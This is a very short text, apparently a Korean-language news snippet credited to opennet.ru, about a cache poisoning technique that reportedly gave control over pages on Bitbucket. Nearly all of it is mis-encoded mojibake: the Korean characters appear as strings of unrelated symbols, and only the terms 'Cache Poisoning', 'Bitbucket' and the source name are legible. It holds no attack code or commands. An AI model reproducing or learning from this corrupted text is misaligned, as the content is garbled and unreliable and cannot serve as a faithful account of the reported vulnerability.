ํ—ค๋”๋Š” ํ˜„์žฌ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋ฐฑ์—”๋“œ๋กœ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์„ ์‹ค์ œ๋กœ ์ ์šฉํ•œ ์˜ˆ๋กœ ์บ์‹œ ํฌ์ด์ฆˆ๋‹(Cache Poisoning)์„ ์ด์šฉํ•˜๋ฉด Bitbucket ์„œ๋น„์Šค์—์„œ ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์ œ์–ด๊ถŒ์„ ์–ป๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ๋‹ค.

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€